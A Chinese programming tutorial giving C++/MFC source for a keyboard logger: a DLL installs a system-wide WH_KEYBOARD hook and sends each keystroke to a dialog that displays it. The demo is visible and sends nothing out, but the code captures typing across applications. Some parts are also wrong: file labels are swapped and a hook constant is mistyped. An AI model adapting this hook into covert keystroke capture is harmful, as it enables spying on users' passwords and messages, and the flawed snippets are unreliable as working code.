C++键盘记录程序代码

本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下:

主程序如下:

就是基于对话框的框架,加个个OnHookKey函数,

long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息  

{  

    char szKey[80]={0};  

    GetKeyNameText(lParam, szKey, 80);  

    CString strItem;  

    strItem.Format("按键:%s\r\n", szKey);  

    CString strEdit;  

    GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);  

    GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);  

    ::MessageBeep(MB_OK);  

    return 0;  

}

在初始化时,调用DLL中的:
SetKeyHook(TRUE, 0, m_hWnd)

在析构时,调用DLL中的:
SetKeyHook(FALSE);

.cpp源文件代码:

#include <afxwin.h>  

#define  HM_KEY WM_USER+100  

//CMyApp  

class CMyApp:public CWinApp  

{  

public:  

    BOOL InitInstance();  

};  

  

//CMyDialog  

class CMainDialog:public CDialog  

{  

public:  

    CMainDialog(CWnd* pParentWnd = NULL);  

  

protected:  

    virtual BOOL OnInitDialog( );  

    afx_msg void OnCancel();  

    afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);  //处理自定义消息的声明  

  

    DECLARE_MESSAGE_MAP()  

};

.h头文件代码:

#include "resource.h"  

#include "KeyHookApp.h"  

#include "KeyHook.h"  

#pragma comment(lib,"KeyHook.lib")  

  

CMyApp theApp;  

  

BOOL CMyApp::InitInstance()  

{  

    CMainDialog dlg;  

    m_pMainWnd = &dlg;   //给m_pMainWnd 主窗口  

    dlg.DoModal();  

    return FALSE; //不进入消息循环  

}  

  

BEGIN_MESSAGE_MAP(CMainDialog, CDialog)  

    ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息  

END_MESSAGE_MAP()  

  

//CMainDialog  

CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)    

{    

  

}   

BOOL CMainDialog::OnInitDialog( )  

{  

    CDialog::OnInitDialog();  

    if (!SetKeyHook(TRUE, 0, m_hWnd))  

    {  

        MessageBox("安装钩子失败");  

    }  

      

    return TRUE;  

}  

//处理关闭消息  

void CMainDialog::OnCancel()  

{  

    OutputDebugString("oncancel");  

    SetKeyHook(FALSE);  

    CDialog::OnCancel();  

    return;  

}  

long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息  

{  

    char szKey[80]={0};  

    GetKeyNameText(lParam, szKey, 80);  

    CString strItem;  

    strItem.Format("按键:%s\r\n", szKey);  

    CString strEdit;  

    GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);  

    GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);  

    ::MessageBeep(MB_OK);  

    return 0;  

}

dll的代码:
.cpp源文件代码:

// KeyHook.cpp : 定义 DLL 应用程序的导出函数。  

//  

  

#include "stdafx.h"  

#include "KeyHook.h"  

  

  

//共享数据段  

#pragma data_seg("YCIShared")  

HWND g_hWndCaller=NULL; //保存主窗口句柄  

HHOOK g_hHook = NULL; //保存钩子句柄   

#pragma data_seg()  

// 这是导出变量的一个示例  

KEYHOOK_API int nKeyHook=0;  

  

// 这是导出函数的一个示例。  

KEYHOOK_API int fnKeyHook(void)  

{  

    return 42;  

}  

  

  

//通过内存得到模块句柄的帮助函数  

HMODULE WINAPI ModuleFromAddress(LPVOID pv)  

{  

    MEMORY_BASIC_INFORMATION  mbi;  

    if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))  

    {  

        return (HMODULE)mbi.AllocationBase;  

    }  

    else  

    {  

        return NULL;  

    }  

}  

//钩子处理函数  

LRESULT CALLBACK KeyboardProc(  

    __in  int code,  

    __in  WPARAM wParam,  

    __in  LPARAM lParam  

    )  

{  

    if (code<0||code==HC_NOREM)  

    {  

        return ::CallNextHookEx(g_hHook, code, wParam,lParam);  

    }  

    //如果重复消息,交给下一链  

    if (lParam & 0x40000000)  

    {  

        return ::CallNextHookEx(g_hHook, code, wParam,lParam);  

    }  

    //通知主窗口  

    ::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam);  

    return ::CallNextHookEx(g_hHook, code, wParam,lParam);  

      

}  

//安装和卸载钩子函数  

BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)  

{  

    BOOL bRet = TRUE;  

    g_hWndCaller = hWndCaller;  

    if (bInstall) //安装钩子  

    {  

        g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);  

        bRet = (g_hHook != NULL);  

    }  

    else //卸载钩子  

    {  

        ::UnhookWindowsHookEx(g_hHook);  

        g_hHook = NULL;  

    }  

    return bRet;  

}  

// 这是已导出类的构造函数。  

// 有关类定义的信息,请参阅 KeyHook.h  

CKeyHook::CKeyHook()  

{  

    return;  

}

.h头文件代码:

// 下列 ifdef 块是创建使从 DLL 导出更简单的  

// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS  

// 符号编译的。在使用此 DLL 的  

// 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将  

// KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的  

// 符号视为是被导出的。  

#ifdef KEYHOOK_EXPORTS  

#define KEYHOOK_API __declspec(dllexport)  

#else  

#define KEYHOOK_API __declspec(dllimport)  

#endif  

  

#define  HM_KEY WM_USER + 100  

// 此类是从 KeyHook.dll 导出的  

class KEYHOOK_API CKeyHook {  

public:  

    CKeyHook(void);  

    // TODO: 在此添加您的方法。  

};  

  

extern KEYHOOK_API int nKeyHook;  

  

KEYHOOK_API int fnKeyHook(void);  

  

//声明要导出的  

BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);

.def代码:

EXPORTS  

    SetKeyHook  

SECTIONS  

    YCIShared  Read Write Shared

希望本文所述对大家的C++程序设计有所帮助。